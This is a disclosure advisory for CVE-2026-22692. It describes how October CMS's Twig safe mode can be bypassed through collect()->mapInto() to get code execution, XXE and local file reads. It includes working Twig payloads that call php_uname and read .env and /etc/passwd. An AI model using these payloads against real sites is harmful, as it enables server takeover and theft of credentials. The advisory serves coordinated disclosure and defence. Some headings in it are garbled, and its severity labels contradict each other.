
CVE-2026-22692 - Critical Twig Sandbox Bypass via collect()->mapInto() allowing RCE/LFI/XXE in October CMS
| Field | Details |
|---|---|
| CVE ID | CVE-2026-22692 |
| Severity | Moderate (CVSS:3.1 4.9) |
| Advisory | GHSA-m5qg-jc75-4jp6 |
| Affected Product | October CMS (<= 4.1.4, <= 3.7.12) |
| Vulnerability Type | Twig Sandbox Bypass -> RCE, LFI, XXE |
| Discovered by | Lukasz Rybak |
A critical vulnerability exists in the October CMS Twig sandbox (Safe Mode) that allows authenticated users with template editing privileges to bypass security restrictions and execute arbitrary PHP code (RCE) or read arbitrary files (XXE/LFI) from the server.
The root cause is located in October\Rain\Support\SafeCollection. This class implements the CallsAnyMethod interface, which tells the System\Twig\SecurityPolicy to bypass standard method allow-listing for the collection object itself.
While SafeCollection attempts to filter arguments to prevent direct execution of callables, it does not block the mapInto($class) method. The mapInto method iterates over the collection and instantiates the provided class name:
new $class($value, $key);
This allows an attacker to instantiate any class known to the application.
The System\Twig\SecurityPolicy explicitly allow-lists the __toString() method on all objects. By instantiating Psy\Readline\Hoa\Xcallable (which wraps a callable) and wrapping it inside a GuzzleHttp\Psr7\FnStream (which calls a user-defined function in its __toString method via the _fn___toString property), an attacker can trigger the execution of arbitrary PHP functions that require no arguments (e.g., php_uname, phpinfo) simply by printing the object in Twig.
The SimpleXMLElement class accepts a libxml option flag as its second constructor argument. mapInto() passes the collection key as the second argument to the constructor. By creating a collection with a key of 2 (which corresponds to LIBXML_NOENT), an attacker can enable external entity substitution in SimpleXMLElement, leading to immediate XXE and the ability to read system files.
A more direct Local File Inclusion (LFI) vulnerability exists using the native PHP SplFileObject class. By instantiating SplFileObject with a file path and read mode (passed via mapInto), an attacker obtains a traversable file object. Passing this object to the collect() helper triggers immediate iteration (via iterator_to_array inside the framework's core), which bypasses the Sandbox's method blocking policy. This allows reading any file the web server has access to, without requiring XML support or specific vendor libraries.
CMS_SAFE_MODE=truephp_uname){% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
System Info: {{ f }}
.env file){% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
FILE CONTENT (.env):
{{ x }}
/etc/passwd via SplFileObject){% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
LFI Result:
{{ content.join('') }}
Remote Code Execution (RCE), Local File Inclusion (LFI), XML External Entity Injection (XXE).
/etc/passwd, database configuration, .env, etc.) via multiple vectors (SimpleXMLElement or SplFileObject).This affects any October CMS installation where untrusted or semi-trusted users have access to the CMS template editor, effectively allowing them to escalate privileges to System Administrator / Root level logic.
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.